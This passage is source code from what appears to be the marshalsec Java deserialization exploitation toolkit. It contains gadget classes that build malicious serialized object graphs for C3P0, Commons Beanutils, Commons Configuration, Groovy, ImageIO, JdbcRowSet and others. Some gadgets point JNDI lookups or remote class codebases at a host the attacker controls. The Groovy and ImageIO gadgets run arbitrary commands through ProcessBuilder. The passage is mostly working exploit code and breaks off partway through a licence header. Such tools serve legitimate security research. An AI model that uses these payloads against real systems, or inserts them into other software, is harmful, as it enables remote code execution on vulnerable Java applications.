/src/main/java/marshalsec/gadgets/C3P0RefDataSource.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | import marshalsec.util.Reflections; 29 | 30 | 31 | /** 32 | * @author mbechler 33 | * 34 | */ 35 | public interface C3P0RefDataSource extends Gadget { 36 | 37 | @Primary 38 | @Args ( minArgs = 1, args = { 39 | "jndiUrl" 40 | }, defaultArgs = { 41 | MarshallerBase.defaultJNDIUrl 42 | } ) 43 | default Object makeRefDataSource ( UtilFactory uf, String[] args ) throws Exception { 44 | Object obj = Reflections.createWithoutConstructor(Class.forName("com.mchange.v2.c3p0.JndiRefForwardingDataSource")); 45 | // requires ordering 46 | Reflections.setFieldValue(obj, "jndiName", args[ 0 ]); 47 | Reflections.setFieldValue(obj, "loginTimeout", 0); 48 | return obj; 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/C3P0WrapperConnPool.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.io.ByteArrayOutputStream; 27 | import java.io.IOException; 28 | import java.io.ObjectOutputStream; 29 | import java.lang.reflect.Constructor; 30 | import java.lang.reflect.InvocationTargetException; 31 | import java.util.Hashtable; 32 | 33 | import javax.naming.Name; 34 | import javax.naming.Reference; 35 | 36 | import org.apache.commons.codec.binary.Hex; 37 | 38 | import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; 39 | 40 | import marshalsec.MarshallerBase; 41 | import marshalsec.UtilFactory; 42 | import marshalsec.util.Reflections; 43 | 44 | 45 | /** 46 | * @author mbechler 47 | * 48 | */ 49 | public interface C3P0WrapperConnPool extends Gadget { 50 | 51 | @Primary 52 | @Args ( minArgs = 2, args = { 53 | "codebase", "class" 54 | }, defaultArgs = { 55 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 56 | } ) 57 | default Object makeWrapperConnPool ( UtilFactory uf, String[] args ) throws Exception { 58 | WrapperConnectionPoolDataSource obj = Reflections.createWithoutConstructor(com.mchange.v2.c3p0.WrapperConnectionPoolDataSource.class); 59 | Reflections.setFieldValue(obj, "userOverridesAsString", makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])); 60 | return obj; 61 | } 62 | 63 | 64 | public static String makeC3P0UserOverridesString ( String codebase, String clazz ) throws ClassNotFoundException, NoSuchMethodException, 65 | InstantiationException, IllegalAccessException, InvocationTargetException, IOException { 66 | 67 | ByteArrayOutputStream b = new ByteArrayOutputStream(); 68 | try ( ObjectOutputStream oos = new ObjectOutputStream(b) ) { 69 | Class refclz = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized"); //$NON-NLS-1$ 70 | Constructor con = refclz.getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class); 71 | con.setAccessible(true); 72 | Reference jndiref = new Reference("Foo", clazz, codebase); 73 | Object ref = con.newInstance(jndiref, null, null, null); 74 | oos.writeObject(ref); 75 | } 76 | 77 | return "HexAsciiSerializedMap:" + Hex.encodeHexString(b.toByteArray()) + ";"; //$NON-NLS-1$ 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package marshalsec.gadgets; 2 | 3 | 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | 8 | 9 | public class ClassFiles { 10 | 11 | public static String classAsFile ( final Class clazz ) { 12 | return classAsFile(clazz, true); 13 | } 14 | 15 | 16 | public static String classAsFile ( final Class clazz, boolean suffix ) { 17 | String str; 18 | if ( clazz.getEnclosingClass() == null ) { 19 | str = clazz.getName().replace(".", "/"); 20 | } 21 | else { 22 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 23 | } 24 | if ( suffix ) { 25 | str += ".class"; 26 | } 27 | return str; 28 | } 29 | 30 | 31 | @SuppressWarnings ( "resource" ) 32 | public static byte[] classAsBytes ( final Class clazz ) { 33 | try { 34 | final byte[] buffer = new byte[1024]; 35 | final String file = classAsFile(clazz); 36 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 37 | if ( in == null ) { 38 | throw new IOException("couldn't find '" + file + "'"); 39 | } 40 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 41 | int len; 42 | while ( ( len = in.read(buffer) ) != -1 ) { 43 | out.write(buffer, 0, len); 44 | } 45 | return out.toByteArray(); 46 | } 47 | catch ( IOException e ) { 48 | throw new RuntimeException(e); 49 | } 50 | } 51 | 52 | } 53 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/CommonsBeanutils.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.util.Collections; 27 | 28 | import org.apache.commons.beanutils.BeanComparator; 29 | 30 | import marshalsec.MarshallerBase; 31 | import marshalsec.UtilFactory; 32 | import marshalsec.util.Reflections; 33 | 34 | 35 | /** 36 | * @author mbechler 37 | * 38 | */ 39 | public interface CommonsBeanutils extends Gadget { 40 | 41 | @Primary 42 | @Args ( minArgs = 1, args = { 43 | "jndiUrl" 44 | }, defaultArgs = { 45 | MarshallerBase.defaultJNDIUrl 46 | } ) 47 | default Object makeCommonsBeanutilsJNDI ( UtilFactory uf, String... args ) throws Exception { 48 | BeanComparator cmp = new BeanComparator<>("lowestSetBit", Collections.reverseOrder()); 49 | Object trig = uf.makeComparatorTrigger(JDKUtil.makeJNDIRowSet(args[ 0 ]), cmp); 50 | Reflections.setFieldValue(cmp, "property", "databaseMetaData"); 51 | return trig; 52 | } 53 | 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/CommonsConfiguration.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.Constructor; 27 | import java.lang.reflect.InvocationTargetException; 28 | import java.util.Collections; 29 | 30 | import javax.naming.NamingException; 31 | import javax.naming.directory.DirContext; 32 | 33 | import org.apache.commons.configuration.Configuration; 34 | import org.apache.commons.configuration.JNDIConfiguration; 35 | import org.apache.commons.logging.impl.NoOpLog; 36 | 37 | import marshalsec.MarshallerBase; 38 | import marshalsec.UtilFactory; 39 | import marshalsec.util.Reflections; 40 | 41 | 42 | /** 43 | * @author mbechler 44 | * 45 | */ 46 | public interface CommonsConfiguration extends Gadget { 47 | 48 | @Args ( minArgs = 2, args = { 49 | "codebase", "class" 50 | }, defaultArgs = { 51 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 52 | } ) 53 | @Primary 54 | default Object makeConfigurationMap ( UtilFactory uf, String[] args ) throws Exception { 55 | Object jc = makeConfiguration(uf, args); 56 | Class cl = Class.forName("org.apache.commons.configuration.ConfigurationMap"); 57 | Constructor cons = cl.getDeclaredConstructor(Configuration.class); 58 | cons.setAccessible(true); 59 | return uf.makeHashCodeTrigger(cons.newInstance(jc)); 60 | } 61 | 62 | 63 | @Args ( minArgs = 2, args = { 64 | "codebase", "class" 65 | }, defaultArgs = { 66 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 67 | } ) 68 | default Object makeConfiguration ( UtilFactory uf, String[] args ) throws ClassNotFoundException, NoSuchMethodException, InstantiationException, 69 | IllegalAccessException, InvocationTargetException, NamingException, Exception { 70 | DirContext ctx = JDKUtil.makeContinuationContext(args[ 0 ], args[ 1 ]); 71 | 72 | JNDIConfiguration jc = new JNDIConfiguration(); 73 | jc.setContext(ctx); 74 | jc.setPrefix("foo"); 75 | 76 | Reflections.setFieldValue(jc, "errorListeners", Collections.EMPTY_LIST); 77 | Reflections.setFieldValue(jc, "listeners", Collections.EMPTY_LIST); 78 | Reflections.setFieldValue(jc, "log", new NoOpLog()); 79 | return jc; 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Gadget.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | /** 27 | * @author mbechler 28 | * 29 | */ 30 | public interface Gadget { 31 | 32 | } 33 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/GadgetType.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | /** 27 | * @author mbechler 28 | * 29 | */ 30 | public enum GadgetType { 31 | 32 | UnicastRef(UnicastRefGadget.class), 33 | UnicastRemoteObject(UnicastRemoteObjectGadget.class), 34 | Groovy(Groovy.class), 35 | SpringPropertyPathFactory(SpringPropertyPathFactory.class), 36 | SpringPartiallyComparableAdvisorHolder(SpringPartiallyComparableAdvisorHolder.class), 37 | SpringAbstractBeanFactoryPointcutAdvisor(SpringAbstractBeanFactoryPointcutAdvisor.class), 38 | Rome(Rome.class), 39 | XBean(XBean.class), 40 | Resin(Resin.class), 41 | CommonsConfiguration(CommonsConfiguration.class), 42 | LazySearchEnumeration(LazySearchEnumeration.class), 43 | BindingEnumeration(BindingEnumeration.class), 44 | ServiceLoader(ServiceLoader.class), 45 | ImageIO(ImageIO.class), 46 | CommonsBeanutils(CommonsBeanutils.class), 47 | C3P0WrapperConnPool(C3P0WrapperConnPool.class), 48 | C3P0RefDataSource(C3P0RefDataSource.class), 49 | JdbcRowSet(JdbcRowSet.class), 50 | ScriptEngine(ScriptEngine.class); 51 | 52 | private Class clazz; 53 | 54 | 55 | private GadgetType ( Class clazz ) { 56 | this.clazz = clazz; 57 | } 58 | 59 | 60 | /** 61 | * @return the clazz 62 | */ 63 | public Class getClazz () { 64 | return this.clazz; 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Groovy.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import org.codehaus.groovy.runtime.MethodClosure; 27 | 28 | import groovy.util.Expando; 29 | import marshalsec.MarshallerBase; 30 | import marshalsec.UtilFactory; 31 | 32 | 33 | /** 34 | * @author mbechler 35 | * 36 | */ 37 | public interface Groovy extends Gadget { 38 | 39 | @Primary 40 | @Args ( minArgs = 1, args = { 41 | "cmd", "args.." 42 | }, defaultArgs = { 43 | MarshallerBase.defaultExecutable 44 | } ) 45 | default Object makeGroovyMap ( UtilFactory uf, String[] args ) throws Exception { 46 | Object e = makeGroovy(args); 47 | return uf.makeHashCodeTrigger(e); 48 | } 49 | 50 | 51 | @Args ( minArgs = 1, args = { 52 | "cmd", "args.." 53 | }, defaultArgs = { 54 | MarshallerBase.defaultExecutable 55 | } ) 56 | default Object makeGroovy ( String[] args ) throws Exception { 57 | Expando expando = new Expando(); 58 | ProcessBuilder pb = new ProcessBuilder(args); 59 | MethodClosure mc = new MethodClosure(pb, "start"); 60 | expando.setProperty("hashCode", mc); 61 | return expando; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/ImageIO.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.Constructor; 27 | import java.lang.reflect.InvocationTargetException; 28 | import java.lang.reflect.Method; 29 | import java.util.Collections; 30 | 31 | import marshalsec.MarshallerBase; 32 | import marshalsec.UtilFactory; 33 | import marshalsec.util.Reflections; 34 | 35 | 36 | /** 37 | * @author mbechler 38 | * 39 | */ 40 | public interface ImageIO extends Gadget { 41 | 42 | @Args ( minArgs = 1, args = { 43 | "cmd", "args..." 44 | }, defaultArgs = { 45 | MarshallerBase.defaultExecutable 46 | } ) 47 | @Primary 48 | default Object makeImageIO ( UtilFactory uf, String[] args ) throws Exception { 49 | ProcessBuilder pb = new ProcessBuilder(args); 50 | Class cfCl = Class.forName("javax.imageio.ImageIO$ContainsFilter"); 51 | Constructor cfCons = cfCl.getDeclaredConstructor(Method.class, String.class); 52 | cfCons.setAccessible(true); 53 | 54 | // nest two instances, the 'next' of the other one will be skipped, 55 | // the inner instance then provides the actual target object 56 | Object filterIt = makeFilterIterator( 57 | makeFilterIterator(Collections.emptyIterator(), pb, null), 58 | "foo", 59 | cfCons.newInstance(ProcessBuilder.class.getMethod("start"), "foo")); 60 | 61 | return uf.makeIteratorTrigger(filterIt); 62 | } 63 | 64 | 65 | public static Object makeFilterIterator ( Object backingIt, Object first, Object filter ) 66 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { 67 | Class fiCl = Class.forName("javax.imageio.spi.FilterIterator"); 68 | Object filterIt = Reflections.createWithoutConstructor(fiCl); 69 | Reflections.setFieldValue(filterIt, "iter", backingIt); 70 | Reflections.setFieldValue(filterIt, "next", first); 71 | Reflections.setFieldValue(filterIt, "filter", filter); 72 | return filterIt; 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/JdbcRowSet.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | public interface JdbcRowSet extends Gadget { 35 | 36 | @Primary 37 | @Args ( minArgs = 1, args = { 38 | "jndiUrl" 39 | }, defaultArgs = { 40 | MarshallerBase.defaultJNDIUrl 41 | } ) 42 | default Object makeJdbcRowSet ( UtilFactory uf, String[] args ) throws Exception { 43 | return JDKUtil.makeJNDIRowSet(args[ 0 ]); 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/LazySearchEnumeration.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import marshalsec.MarshallerBase; 27 | import marshalsec.UtilFactory; 28 | 29 | 30 | /** 31 | * @author mbechler 32 | * 33 | */ 34 | public interface LazySearchEnumeration extends Gadget { 35 | 36 | @Args ( minArgs = 2, args = { 37 | "codebase", "class" 38 | }, defaultArgs = { 39 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 40 | } ) 41 | default Object makeLazySearchEnumeration ( UtilFactory uf, String[] args ) throws Exception { 42 | return uf.makeIteratorTrigger(JDKUtil.adaptEnumerationToIterator(JDKUtil.makeLazySearchEnumeration(args[ 0 ], args[ 1 ]))); 43 | } 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/MockProxies.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec.gadgets; 24 | 25 | 26 | import java.lang.reflect.InvocationHandler; 27 | import java.lang.reflect.InvocationTargetException; 28 | import java.lang.reflect.Method; 29 | import java.lang.reflect.Proxy; 30 | import java.util.HashMap; 31 | import java.util.Map; 32 | 33 | import com.google.inject.internal.Annotations; 34 | 35 | import marshalsec.util.Reflections; 36 | 37 | 38 | /** 39 | * @author mbechler 40 | * 41 | */ 42 | public class MockProxies { 43 | 44 | public enum MockProxyType { 45 | GUICE, HIBERNATEVAL, JAVA 46 | } 47 | 48 | 49 | public static Object makeProxy ( MockProxyType t, String method, Object iter, Class... types ) throws ClassNotFoundException, 50 | NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception { 51 | switch ( t ) { 52 | case GUICE: 53 | return makeProxyGuice(method, iter, types); 54 | case HIBERNATEVAL: 55 | return makeProxyHibernate(method, iter, types); 56 | case JAVA: 57 | default: 58 | return makeProxyJava(method, iter, types); 59 | } 60 | } 61 | 62 | 63 | private static Object makeProxyJava ( String method, Object iter, Class... types ) throws ClassNotFoundException, NoSuchMethodException, 64 | InstantiationException, IllegalAccessException, InvocationTargetException, Exception { 65 | Map values = new HashMap<>(); 66 | values.put(method, iter); 67 | return Proxy.newProxyInstance(MockProxies.class.getClassLoader(), types, JDKUtil.createMemoizedInvocationHandler(values)); 68 | } 69 | 70 | 71 | private static Object makeProxyGuice ( String method, Object iter, Class... types ) throws Exception { 72 | Method meth = Annotations.class.getDeclaredMethod("generateAnnotationImpl", Class.class); //$NON-NLS-1$ 73 | meth.setAccessible(true); 74 | Object o = meth.invoke(null, Override.class); 75 | InvocationHandler inv = Proxy.getInvocationHandler(o); 76 | Map values = new HashMap<>(); 77 | values.put(method, iter); 78 | Reflections.setFieldValue(inv, "val$members", values); 79 | return Proxy.newProxyInstance(MockProxies.class.getClassLoader(), types, inv); 80 | } 81 | 82 | 83 | private static Object makeProxyHibernate ( String method, Object iter, Class... types ) throws ClassNotFoundException, NoSuchMethodException, 84 | InstantiationException, IllegalAccessException, InvocationTargetException, Exception { 85 | Class invhcl = Class.forName("org.hibernate.validator.util.annotationfactory.AnnotationProxy"); 86 | InvocationHandler invh = (InvocationHandler) Reflections.createWithoutConstructor(invhcl); 87 | Map values = new HashMap<>(); 88 | values.put(method, iter); 89 | Reflections.setFieldValue(invh, "values", values); 90 | 91 | return Proxy.newProxyInstance(MockProxies.class.getClassLoader(), types, invh); 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/gadgets/Primary.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz 